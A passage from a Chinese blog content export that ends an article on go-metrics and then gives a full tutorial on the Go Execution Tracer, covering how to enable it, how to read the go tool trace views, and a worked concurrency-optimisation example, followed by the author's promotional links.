大家可以看到在这里我们同样用随机数模拟请求的处理时间并传给Timer的Update方法。运行这段代码并用hey压测：\n$go run timer.go 2021/07/04 17:13:47 timer timer.requests 2021/07/04 17:13:47 count: 13750 2021/07/04 17:13:47 min: 0.00ns 2021/07/04 17:13:47 max: 9000.00ns 2021/07/04 17:13:47 mean: 4406.61ns 2021/07/04 17:13:47 stddev: 2785.11ns 2021/07/04 17:13:47 median: 4000.00ns 2021/07/04 17:13:47 75%: 7000.00ns 2021/07/04 17:13:47 95%: 9000.00ns 2021/07/04 17:13:47 99%: 9000.00ns 2021/07/04 17:13:47 99.9%: 9000.00ns 2021/07/04 17:13:47 1-min rate: 0.00 2021/07/04 17:13:47 5-min rate: 0.00 2021/07/04 17:13:47 15-min rate: 0.00 2021/07/04 17:13:47 mean rate: 13748.57 2021/07/04 17:13:48 timer timer.requests 2021/07/04 17:13:48 count: 56584 2021/07/04 17:13:48 min: 0.00ns 2021/07/04 17:13:48 max: 9000.00ns 2021/07/04 17:13:48 mean: 4442.61ns 2021/07/04 17:13:48 stddev: 2895.66ns 2021/07/04 17:13:48 median: 4000.00ns 2021/07/04 17:13:48 75%: 7000.00ns 2021/07/04 17:13:48 95%: 9000.00ns 2021/07/04 17:13:48 99%: 9000.00ns 2021/07/04 17:13:48 99.9%: 9000.00ns 2021/07/04 17:13:48 1-min rate: 0.00 2021/07/04 17:13:48 5-min rate: 0.00 2021/07/04 17:13:48 15-min rate: 0.00 2021/07/04 17:13:48 mean rate: 28289.23 2021/07/04 17:13:49 timer timer.requests 2021/07/04 17:13:49 count: 102426 2021/07/04 17:13:49 min: 0.00ns 2021/07/04 17:13:49 max: 9000.00ns 2021/07/04 17:13:49 mean: 4436.77ns 2021/07/04 17:13:49 stddev: 2892.85ns 2021/07/04 17:13:49 median: 4000.00ns 2021/07/04 17:13:49 75%: 7000.00ns 2021/07/04 17:13:49 95%: 9000.00ns 2021/07/04 17:13:49 99%: 9000.00ns 2021/07/04 17:13:49 99.9%: 9000.00ns 2021/07/04 17:13:49 1-min rate: 0.00 2021/07/04 17:13:49 5-min rate: 0.00 2021/07/04 17:13:49 15-min rate: 0.00 2021/07/04 17:13:49 mean rate: 34140.68 我们看到Timer度量的输出也的确是Histogram和Meter的联合体！\n3. 小结 通过go-metrics包，我们可以很方便地为一个Go应用添加度量指标，go-metrics提供的meter、histogram可以覆盖Go应用基本性能指标需求（吞吐性能、延迟数据分布等）。go-metrics还支持各种指标值导出的，只是这里没有提及，大家可以到go-metrics官网了解详情。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/go-metrics\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/07/06/add-metrics-for-go-application-using-go-metrics/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/add-metrics-for-go-application-using-go-metrics-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/07/06/add-metrics-for-go-application-using-go-metrics\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/07/06/add-metrics-for-go-application-using-go-metrics\"\u003ehttps://tonybai.com/2021/07/06/add-metrics-for-go-application-using-go-metrics\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言内置\u003ca href=\"https://mp.weixin.qq.com/s/cr2JeUq5HOYQC0qji_Ip5g\"\u003eexpvar\u003c/a\u003e，基于expvar提供的对基础度量的支持能力，我们可以自定义各种度量（metrics）。但是expvar仅仅是提供了最底层的度量定义支持，对于一些复杂的度量场景，第三方或自实现的metrics包必不可少。\u003c/p\u003e\n\u003cp\u003ego-metrics包是Go领域使用较多的是metrics包，该包是对Java社区依旧十分活跃的\u003ca href=\"https://github.com/dropwizard/metrics\"\u003eCoda Hale’s Metrics library\u003c/a\u003e的不完全Go移植（不得不感慨一下：Java的生态还真是强大）。因此该包在概念上与Coda Hale’s Metrics library是基本保持一致的。go-metrics包在文档方面做的还不够，要理解很多概念性的东西，我们还得回到\u003ca href=\"https://metrics.dropwizard.io/4.2.0/manual/core.html\"\u003eCoda Hale’s Metrics library的项目文档\u003c/a\u003e去挖掘。\u003c/p\u003e","title":"使用go-metrics在Go应用中增加度量"},{"content":"\n本文永久链接 – https://tonybai.com/2021/06/28/understand-go-execution-tracer-by-example\nNetflix（奈飞公司）的性能架构师Brendan Gregg在其《BPF Performance Tools》一书中对tracing、sampling等概念做了细致描述，以帮助开发人员理解这些概念，并基于这些概念对性能优化辅助工具进行分类，明确它们的适用场合。这里引用部分内容如下：\n采样工具（Sampling tools）采用一个测量的子集来描绘目标的粗略情况；这也被称为创建一个profile或profiling（剖析）。profiling工具对运行中的代码采用基于定时器的采样。其缺点是，采样只能提供一个关于目标的粗略的图像，并且可能会遗漏事件。\n追踪（tracing）是基于事件的记录，一旦开启跟踪，跟踪工具便能够记录所有原始事件和事件元数据。\n在Go工具链中，go tool pprof（与runtime/pprof或net/http/pprof联合使用）便是一个基于采样（sampling）的性能剖析(profiing)辅助工具。它基于定时器对运行的go程序进行各种采样，包括诸如CPU时间、内存分配等方面。但go pprof也具有上面所说的基于采样的工具的不足，那就是采样的频度不足导致的精确性问题，在Go运行时内部，CPU分析使用操作系统计时器来定期（每秒约100次，即10ms一次）中断执行。在每个中断（也称为样本）上，它同时收集当时的调用堆栈。当为了实现更高频度采样时（比如微秒级别的采样），目前的go profile无法支持（为此uber工程师提了一个名为pprof++的高精度、更精确并支持硬件监控的提案）。\nGo语言同样也提供了基于追踪（tracing）策略的工具，一旦开启trace，Go应用中发生的所有特定事件（event）便会被记录下来，并支持将其保存在文件中以备后续分析，这个工具由谷歌工程师Dmitry Vyukov提出设计方案并实现，并在Go 1.5版本发布时加入Go工具链，这个工具被称为Go Execution Tracer，中文直译就是Go执行跟踪器。\n相对于go pprof，Go Execution Tracer的使用相对少一些，但在特定场景下，Go Execution Tracer能发挥出巨大作用，能帮助gopher找出go应用中隐藏较深的疑难杂症。在这篇文章中，我们就来系统地了解一下Go Execution Tracer（以下简称为Tracer）。\n1. Go Execution Tracer究竟能做什么？ 我们日常使用最多的go性能剖析工具是pprof（go tool pprof），通过定时采样并结合Go标准库中的runtime/pprof或net/http/pprof包，pprof可以帮助我们挖掘出被剖析目标中的“热点”，比如：哪些行代码消耗CPU较多、哪些行代码分配内存较多、哪些代码被阻塞的时间较长等。但是有些时候这些基于定时器采样的数据还不够，我们还需要更多关于Go应用中各个goroutine的执行情况的更为详细的信息。在Dmitry Vyukov最初的设计中，他希望Tracer能为Go开发者提供至少如下的关于goroutine执行情况的信息：\n与goroutine调度有关的事件信息：goroutine的创建、启动和结束；goroutine在同步原语（包括mutex、channel收发操作）上的阻塞与解锁。 与网络有关的事件：goroutine在网络I/O上的阻塞和解锁； 与系统调用有关的事件：goroutine进入系统调用与从系统调用返回； 与垃圾回收器有关的事件：GC的开始/停止，并发标记、清扫的开始/停止。 有了这些事件信息，我们可以从P（goroutine调度器概念中的processor)和G（goroutine调度器概念中的goroutine）的视角完整的看到每个P和每个G在Tracer开启期间的全部“所作所为”。而开发人员正是通过对Tracer输出数据中的每个P和G的行为分析并结合详细的event数据来辅助问题诊断的。\n图3：通过go tool trace以图形化形式查看P和G的行为和事件\n另外与pprof基于系统定时器支持10ms频度的采样不同，Tracer为每个event打的时间戳都精确到纳秒（nanosecond）级精度，在查看Tracer数据时，我们可以通过缩放的方式查看不同时间精度下各个P和G呈现的特征，并可以在纳秒精度上查看发生事件的详细信息。\n前面说过，Tracer是基于事件而不是定时采样的，因此与定时采样相比，Tracer开启带来的开销是很大的，是肉眼感觉得到的那种影响（输出到文件中的数据体量也要比pprof的采样数据文件多出很多）。在最初设计稿中，Dmitry Vyukov给出的估计是性能下降35%，但实际上可能要比这略好一些，但我们一般也不会在生产环境持续开启Tracer。\n大致了解Tracer的运行原理与辅助诊断机制，那么Tracer究竟适合诊断哪些问题呢？Tracer作者Dmitry Vyukov在Tracer设计文档中提到了三点，在实际应用中，Tracer主要也是用于辅助诊断这三个场景下的具体问题的：\n并行执行程度不足的问题：比如没有充分利用多核资源等； 因GC导致的延迟较大的问题； Goroutine执行情况分析，尝试发现goroutine因各种阻塞（锁竞争、系统调用、调度、辅助GC）而导致的有效运行时间较短或延迟的问题。 Go Tracer从Go 1.5版本加入Go工具链，之后演化不大，这里简单梳理一下Go 1.5到Go 1.16版本Go Tracer的演化历程：\nGo 1.5版本在go工具链中加入Go Execution Tracer支持，并在runtime、runtime/trace和net/http/pprof包中加入开启和关闭Trace的API函数；\nGo 1.7版本中，Go 1.5中引入的“go tool trace”命令在各方面都得到了改进，包括：\n与过去的版本相比，收集Tracer数据的效率明显提高。在这个版本中，收集跟踪数据的一般执行时间开销约为25%；而在过去的版本中，这至少是400%； 新版跟踪文件中包含了文件和行号信息，使它成为自解释的，这样原始可执行文件在运行跟踪工具时(go tool trace)时变得可有可无。 go tool trace工具支持将大的tracer数据文件进行分割，以避免触及浏览器的viewer的限制。 追踪文件的格式在这个版本中有所改变，但仍然可以读取早期版本的追踪文件。 net/http/pprof包中增加Trace handler以支持在/debug/pprof/trace上处理Trace请求。 Go 1.8版本中，go tool trace增加一个-pprof的标志位，支持将tracer数据转换为pprof格式兼容的数据：\n$go tool trace -pprof=TYPE trace.out \u0026gt; TYPE.pprof 同时，在trace查看视图中，GC事件展示更为清晰，GC活动在其自己的单独的行上显示，并且辅助GC的goroutine也会被标记上其在GC过程中的角色。\nGo 1.9版本中runtime/trace包支持显示GC标记辅助事件，这些事件表明当一个应用程序的goroutine因为分配速度过快而被迫辅助垃圾收集。”sweep”事件现在包含了为分配寻找空闲空间的整个过程，而不是仅记录被sweep的每个单独跨度。这减少了追踪分配量大的程序时的分配延迟。sweep事件支持显示有多少字节被sweep，有多少字节被真正回收。 Go 1.11版本在runtime/trace包中支持用户自定义应用层事件，包括：user task和user region。一旦定义，这些事件就可以和原生事件一样在go tool trace中以图形化的方式展示出来。 Go 1.12版本中，go tool trace支持绘制Minimum mutator utilization的曲线，这些对于分析垃圾收集器对应用程序延迟和吞吐量的影响很有用。 2. 为Go应用添加Tracer Go为在Go应用中添加Tracer提供了三种方法，我们逐一看一下。\n1) 手工通过runtime/trace包在Go应用中开启和关闭Tracer 无论使用哪一种方法，runtime/trace包都是基础与核心。我们可以直接使用runtime/trace包提供的API在Go应用中手工开启和关闭Tracer：\npackage main import ( \u0026#34;os\u0026#34; \u0026#34;runtime/trace\u0026#34; ) func main() { trace.Start(os.Stdout) defer trace.Stop() // 下面是业务代码 ... ... } 上面代码中，我们通过trace.Start开启Tracer，并在程序结束时通过trace.Stop停止Tracer，Tracer收集到的数据输出到os.Stdout（标准输出）上，我们可以将其重定向到一个文件中保存，我们亦可以向trace.Start传入一个文件的句柄，让Tracer将数据直接写到文件中，就像下面这样：\nfunc main() { f, _ := os.Create(\u0026#34;trace.out\u0026#34;) defer f.Close() trace.Start(f) defer trace.Stop() // 下面是业务代码 ... ... } 从代码来看，Tracer是支持动态开启的，但要注意的是每次开启都要对应一个独立的文件。如果多次开启后将数据（续）写入同一文件，那么go tool trace在读取该文件时会报类似如下错误：\n$go tool trace trace.out 2021/06/23 05:50:01 Parsing trace... failed to parse trace: unknown event type 50 at offset 0x73c 2) 通过net/http/pprof提供基于http进行数据传输的Tracer服务 如果一个Go应用通过net/http/pprof包提供对pprof采样的支持，那么我们就可以像获取cpu或heap profile数据那样，通过/debug/pprof/trace端点来开启Tracer并获取Tracer数据：\n$wget -O trace.out http://localhost:6060/debug/pprof/trace?seconds=5 net/http/pprof包中的Trace函数负责处理发向/debug/pprof/trace端点的http请求，见下面代码：\n// $GOROOT/src/net/http/pprof/pprof.go func Trace(w http.ResponseWriter, r *http.Request) { w.Header().Set(\u0026#34;X-Content-Type-Options\u0026#34;, \u0026#34;nosniff\u0026#34;) sec, err := strconv.ParseFloat(r.FormValue(\u0026#34;seconds\u0026#34;), 64) if sec \u0026lt;= 0 || err != nil { sec = 1 } if durationExceedsWriteTimeout(r, sec) { serveError(w, http.StatusBadRequest, \u0026#34;profile duration exceeds server\u0026#39;s WriteTimeout\u0026#34;) return } // Set Content Type assuming trace.Start will work, // because if it does it starts writing. w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/octet-stream\u0026#34;) w.Header().Set(\u0026#34;Content-Disposition\u0026#34;, `attachment; filename=\u0026#34;trace\u0026#34;`) if err := trace.Start(w); err != nil { // trace.Start failed, so no writes yet. serveError(w, http.StatusInternalServerError, fmt.Sprintf(\u0026#34;Could not enable tracing: %s\u0026#34;, err)) return } sleep(r, time.Duration(sec*float64(time.Second))) trace.Stop() } 我们看到在该处理函数中，函数开启了Tracer：trace.Start，并直接将w作为io.Writer的实现者传给了trace.Start函数，接下来Tracer采集的数据便会源源不断地通过http应答发回客户端，处理完后，Trace函数关闭了Tracer。\n我们看到通过这种方式实现的动态开关Tracer是相对理想的一种方式，生产环境可以采用这种方式，这样可以将Tracer带来的开销限制在最小范围。\n3) 通过go test -trace获取Tracer数据 如果要在测试执行时开启Tracer，我们可以通过go test -trace来实现：\n$go test -trace trace.out ./... 命令执行结束后，trace.out中便存储了测试执行过程中的Tracer数据，后续我们可以用go tool trace对其进行展示和分析。\n3. Tracer数据分析 有了Tracer输出的数据后，我们接下来便可以使用go tool trace工具对存储Tracer数据的文件进行分析了：\n$go tool trace trace.out go tool trace会解析并验证Tracer输出的数据文件，如果数据无误，它接下来会在默认浏览器中建立新的页面并加载和渲染这些数据，如下图所示：\n图4：go tool trace打开的Tracer数据分析首页\n我们看到首页显示了多个数据分析的超链接，每个链接将打开一个分析视图，其中：\nView trace：以图形页面的形式渲染和展示tracer的数据（见上面的图3），这也是我们最为关注/最常用的功能； Goroutine analysis：以表的形式记录执行同一个函数的多个goroutine的各项trace数据，下图5中的表格记录的是同执行main.createColWorkers.func1的8个goroutine的各项数据： 图5：Goroutine analysis的各个子页面\nNetwork blocking profile：用pprof profile形式的调用关系图展示网络I/O阻塞的情况 Synchronization blocking profile：用pprof profile形式的调用关系图展示同步阻塞耗时情况 Syscall blocking profile：用pprof profile形式的调用关系图展示系统调用阻塞耗时情况 Scheduler latency profile：用pprof profile形式的调用关系图展示调度器延迟情况 User-defined tasks和User-defined regions：用户自定义trace的task和region Minimum mutator utilization：分析GC对应用延迟和吞吐影响情况的曲线图 通常我们最为关注的是View trace和Goroutine analysis，下面将详细说说这两项的用法。\n目前关于Go Execution Tracer的官方文档资料十分稀缺，尤其是对go tool trace分析tracer数据过程中的各个视图的资料更是少之又少，网上能看到的也多是第三方在使用go tool trace过程中积累的“经验资料”。\n1) View trace 点击“View trace”进入Tracer数据分析视图，见下图6：\n图6：View trace视图\nView trace视图是基于google的trace-viewer实现的，其大体上可分为四个区域：\n时间线（timeline） 时间线为View trace提供了时间参照系，View trace的时间线始于Tracer开启时，各个区域记录的事件的时间都是基于时间线的起始时间的相对时间。\n时间线的时间精度最高为纳秒，但View trace视图支持自由缩放时间线的时间标尺，我们可以在秒、毫秒的“宏观尺度”查看全局，就像上面图6中那样；我们亦可以将时间标尺缩放到微秒、纳秒的“微观尺度”来查看某一个极短暂事件的细节：\n图7：在微秒的微观尺度查看短暂事件\n如果Tracer跟踪时间较长，trace.out文件较大，go tool trace会将View trace按时间段进行划分，避免触碰到trace-viewer的限制：\n图8：View trace按时间段划分\nView trace使用快捷键来缩放时间线标尺：w键用于放大（从秒向纳秒缩放），s键用于缩小标尺（从纳秒向秒缩放）。我们同样可以通过快捷键在时间线上左右移动：s键用于左移，d键用于右移。如果你记不住这些快捷键，可以点击View trace视图右上角的问号？按钮，浏览器将弹出View trace操作帮助对话框：\n图9：View trace帮助对话框\nView trace视图的所有快捷操作方式都可以在这里查询到。\n采样状态区（STATS） 这个区内展示了三个指标：Goroutines、Heap和Threads，某个时间点上的这三个指标的数据是这个时间点上的状态快照采样：\nGoroutines：某一时间点上应用中启动的goroutine的数量，当我们点击某个时间点上的goroutines采样状态区域时（我们可以用快捷键m来准确标记出那个时间点），事件详情区会显示当前的goroutines指标采样状态：\n图10：某一个时间点上的goroutines指标采样状态\n从上图我们看到，那个时间点上共有9个goroutine，8个正在运行，另外1个准备就绪，等待着被调度。处于GCWaiting状态的goroutine数量为0。\n而Heap指标则显示了某个时间点上Go应用heap分配情况（包括已经分配的Allocated和下一次GC的目标值NextGC）：\n图11：某一个时间点上的heap指标采样状态\nThreads指标显示了某个时间点上Go应用启动的线程数量情况，事件详情区将显示处于InSyscall（整阻塞在系统调用上）和Running两个状态的线程数量情况：\n图12：某一个时间点上的threads指标采样状态\n连续的采样数据按时间线排列就描绘出了各个指标的变化趋势情况。\nP视角区（PROCS） 这里将View trace视图中最大的一块区域称为“P视角区”。这是因为在这个区域，我们能看到Go应用中每个P（Goroutine调度概念中的P）上发生的所有事件，包括：EventProcStart、EventProcStop、EventGoStart、EventGoStop、EventGoPreempt、Goroutine辅助GC的各种事件以及Goroutine的GC阻塞(STW)、系统调用阻塞、网络阻塞以及同步原语阻塞(mutex)等事件。除了每个P上发生的事件，我们还可以看到以单独行显示的GC过程中的所有事件。\n另外我们看到每个Proc对应的条带都有两行，上面一行表示的是运行在该P上的Goroutine的主事件，而第二行则是一些其他事件，比如系统调用、运行时事件等，或是goroutine代表运行时完成的一些任务，比如代表GC进行并行标记。下图13展示了每个Proc的条带：\n图13：每个Proc对应的条带都有两行\n我们放大图像，看看Proc对应的条带的细节：\n图14：每个Proc对应的条带细节\n我们以上图中的proc4中的一段条带为例，这里包含三个事件。在条带的两行中的第一行的事件表示的是G1这个goroutine被调度到P4上进行运行，当我们选中该事件后，我们在事件详情区可以看到关于该事件的详细信息：\n- Title：事件的可读名称； - Start：事件的开始时间，相对于时间线上的起始时间； - Wall Duration：这个事件的持续时间，这里表示的是G1在P4上此次持续执行的时间； - Start Stack Trace：当P4开始执行G1时G1的调用栈； - End Stack Trace：当P4结束执行G1时G1的调用栈；从上面End Stack Trace栈顶的函数为runtime.asyncPreempt来看，该Goroutine G1是被强行抢占了，这样P4才结束了其运行； - Incoming flow：触发P4执行G1的事件； - Outgoing flow：触发G1结束在P4上执行的事件； - Preceding events：与G1这个goroutine相关的之前的所有的事件； - Follwing events：与G1这个goroutine相关的之后的所有的事件 - All connected：与G1这个goroutine相关的所有事件。 proc4条带的第二行按顺序先后发生了两个事件，一个是stw，即GC暂停所有goroutine执行；另外一个是让G1这个goroutine辅助执行GC过程的并发标记（可能是G1分配内存较多较快，GC选择让其交出部分算力做gc标记）。\n通过上面描述，我们可以看到通过P视角区我们可以可视化地显示整个程序（每个Proc）在程序执行的时间线上的全部情况，尤其是按时间线顺序显示每个P上运行的各个goroutine（每个goroutine都有唯一独立的颜色）相关的事件的细节。\nP视角区显式的各个事件间存在关联关系，我们可以通过视图上方的”flow events”按钮打开关联事件流，这样在图中我们就能看到某个事件的前后关联事件关系了（如下图15）：\n图15：关联事件流\n事件详情区 View trace视图的最下方为“事件详情区”，当我们点选某个事件后，关于该事件的详细信息便会在这个区域显示出来，就像上面图14那样。\n在宏观尺度上，每个P条带的第二行的事件因为持续事件较短而多呈现为一条竖线，我们点选这些事件不是很容易。点选这些事件的方法，要么将图像放大，要么通过左箭头或右箭头两个键盘键顺序选取，选取后可以通过m键显式标记出这个事件（再次敲击m键取消标记）。\n2) Goroutine analysis 就像前面图5中展示的Goroutine analysis的各个子页面那样，Goroutine analysis为我们提供了从G视角看Go应用执行的图景。\n点击图5中位于表第一列中的任一个Goroutine id，我们将进入Go视角视图：\n图16：Goroutine analysis提供的G视角视图\n我们看到与View trace不同，这次页面中最广阔的区域提供的G视角视图，而不再是P视角视图。在这个视图中，每个G都会对应一个单独的条带（和P视角视图一样，每个条带都有两行），通过这一条带我们可以按时间线看到这个G的全部执行情况。通常我们仅需在goroutine analysis的表格页面找出执行最快和最慢的两个goroutine，在Go视角视图中沿着时间线对它们进行对比，以试图找出执行慢的goroutine究竟出了什么问题。\n4. 实例理解 下面用一个实例理解一下Go Execution Tracer帮我们解决问题的过程。编写这样的例子不易，恰之前Francesc Campoy在其justforfun专栏中曾举过一个可用于Tracer的不错的例子，这里借用一下^_^。\nFrancesc Campoy举的是一个生成分形图片的例子，第一版代码如下：\n// main.go package main import ( \u0026#34;image\u0026#34; \u0026#34;image/color\u0026#34; \u0026#34;image/png\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;runtime/trace\u0026#34; ) const ( output = \u0026#34;out.png\u0026#34; width = 2048 height = 2048 numWorkers = 8 ) func main() { trace.Start(os.Stdout) defer trace.Stop() f, err := os.Create(output) if err != nil { log.Fatal(err) } img := createSeq(width, height) if err = png.Encode(f, img); err != nil { log.Fatal(err) } } // createSeq fills one pixel at a time. func createSeq(width, height int) image.Image { m := image.NewGray(image.Rect(0, 0, width, height)) for i := 0; i \u0026lt; width; i++ { for j := 0; j \u0026lt; height; j++ { m.Set(i, j, pixel(i, j, width, height)) } } return m } // pixel returns the color of a Mandelbrot fractal at the given point. func pixel(i, j, width, height int) color.Color { // Play with this constant to increase the complexity of the fractal. // In the justforfunc.com video this was set to 4. const complexity = 1024 xi := norm(i, width, -1.0, 2) yi := norm(j, height, -1, 1) const maxI = 1000 x, y := 0., 0. for i := 0; (x*x+y*y \u0026lt; complexity) \u0026amp;\u0026amp; i \u0026lt; maxI; i++ { x, y = x*x-y*y+xi, 2*x*y+yi } return color.Gray{uint8(x)} } func norm(x, total int, min, max float64) float64 { return (max-min)*float64(x)/float64(total) - max } 这一版代码通过pixel函数算出待输出图片中的每个像素值，这版代码即便不用pprof也基本能定位出来程序热点在pixel这个关键路径上的函数上，更精确的位置是pixel中的那个循环。那么如何优化呢？pprof已经没招了，我们用Tracer来看看：\n$go build main.go $./main \u0026gt; seq.trace $go tool trace seq.trace go tool trace展示的View trace视图如下：\n图17：示例第一版代码的View trace视图\n通过上面View trace视图，我们一眼便可以看到这一版程序仅利用了机器上多个cpu core中的一个core，其余的cpu core处于空闲状态。\n之后作者给出极端的并发方案，即每个像素点计算都对应启动一个新goroutine（用下面的createPixcel替换上面main.go中的createSeq)：\nfunc createPixel(width, height int) image.Image { m := image.NewGray(image.Rect(0, 0, width, height)) var w sync.WaitGroup w.Add(width * height) for i := 0; i \u0026lt; width; i++ { for j := 0; j \u0026lt; height; j++ { go func(i, j int) { m.Set(i, j, pixel(i, j, width, height)) w.Done() }(i, j) } } w.Wait() return m } 这一版的程序执行性能的确有提升，并且充分利用了cpu，查看其Tracer数据（由于这一版的Tracer数据文件pixel.trace较大，需要一段时间的等待）如下：\n图18：示例第二版代码的View trace视图\n以261.954ms附近的事件数据为例，我们看到系统的8个cpu core都满负荷运转，但从goroutine的状态采集数据看到，仅有7个goroutine处于运行状态，而有21971个goroutine正在等待被调度，这给go运行时的调度带去很大压力；另外由于这一版代码创建了2048×2048个goroutine（400多w个），导致内存分配频繁，给GC造成很大压力，从视图上来看，每个Goroutine似乎都在辅助GC做并行标记。由此可见，我们不能创建这么多goroutine，于是作者又给出了第三版代码，仅创建2048个goroutine，每个goroutine负责一列像素的生成（用下面createCol替换createPixel）：\n// createCol creates one goroutine per column. func createCol(width, height int) image.Image { m := image.NewGray(image.Rect(0, 0, width, height)) var w sync.WaitGroup w.Add(width) for i := 0; i \u0026lt; width; i++ { go func(i int) { for j := 0; j \u0026lt; height; j++ { m.Set(i, j, pixel(i, j, width, height)) } w.Done() }(i) } w.Wait() return m } 这一版代码的效果十分理想！性能提升近5倍。还可以再优化么？于是作者又实现了一版基于Worker并发模式的代码：\n// createWorkers creates numWorkers workers and uses a channel to pass each pixel. func createWorkers(width, height int) image.Image { m := image.NewGray(image.Rect(0, 0, width, height)) type px struct{ x, y int } c := make(chan px) var w sync.WaitGroup for n := 0; n \u0026lt; numWorkers; n++ { w.Add(1) go func() { for px := range c { m.Set(px.x, px.y, pixel(px.x, px.y, width, height)) } w.Done() }() } for i := 0; i \u0026lt; width; i++ { for j := 0; j \u0026lt; height; j++ { c \u0026lt;- px{i, j} } } close(c) w.Wait() return m } 作者的机器是8核主机，于是它预创建了8个worker goroutine，主goroutine通过一个channel c向各个goroutine派发工作。但作者并没有看到预期的性能，其性能还不如每个像素一个goroutine的版本。查看Tracer情况如下（这一版代码的Tracer数据更多，解析和加载时间更长）：\n图19：示例第四版代码的View trace视图\n我们看到适当放大后的View trace视图，我们看到了很多大段的Proc暂停以及不计其数的小段暂停，显然goroutine发生阻塞了，我们接下来通过Synchronization blocking profile查看究竟在哪里阻塞时间最长：\n图20：示例第四版代码的Synchronization blocking profile\n我们看到在channel接收上所有goroutine一共等待了近60s。从这版代码来看，main goroutine要进行近400多w次发送，而其他8个worker goroutine都得耐心阻塞在channel接收上等待，这样的结构显然不够优化，即便将channel换成带缓冲的也依然不够理想。\n作者想到了createCol的思路，即不将每个像素点作为一个task发给worker，而是将一个列作为一个工作单元发送给worker，每个worker完成一个列像素的计算，这样我们来到了最终版代码(使用下面的createColWorkersBuffered替换createWorkers)：\nfunc createColWorkersBuffered(width, height int) image.Image { m := image.NewGray(image.Rect(0, 0, width, height)) c := make(chan int, width) var w sync.WaitGroup for n := 0; n \u0026lt; numWorkers; n++ { w.Add(1) go func() { for i := range c { for j := 0; j \u0026lt; height; j++ { m.Set(i, j, pixel(i, j, width, height)) } } w.Done() }() } for i := 0; i \u0026lt; width; i++ { c \u0026lt;- i } close(c) w.Wait() return m } 这版代码的确是所有版本中性能最好的，其Tracer的View trace视图如下：\n图21：示例最终版代码View trace视图\n这几乎就是一幅完美的View trace视图！\n5. 小结 Go Execution Tracer不是银弹，它不能帮你解决Go程序中的所有问题。通常对Go应用做性能分析时，我们都会使用pprof先找热点，等消除热点后，再用Go Execution Tracer通盘查看整个Go应用中goroutine的执行情况，通过View trace或Goroutine analysis找出“诡异点”并进行细致分析。\nGo应用的并行性、延迟、goroutine阻塞等方面问题是Go Execution Tracer擅长的“主战场”。\n6. 参考资料 《Go Execution Tracer设计文档》 – https://docs.google.com/document/d/1CvAClvFfyA5R-PhYUmn5OOQtYMH4h6I0nSsKchNAySU/preview Go应用诊断 – https://tip.golang.org/doc/diagnostics#execution-tracer 《Go tool trace介绍》 – https://about.sourcegraph.com/go/an-introduction-to-go-tool-trace-rhys-hiltner/ 《Go execution tracer》 – https://blog.gopheracademy.com/advent-2017/go-execution-tracer/ 《go tool trace》- https://making.pusher.com/go-tool-trace/ “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 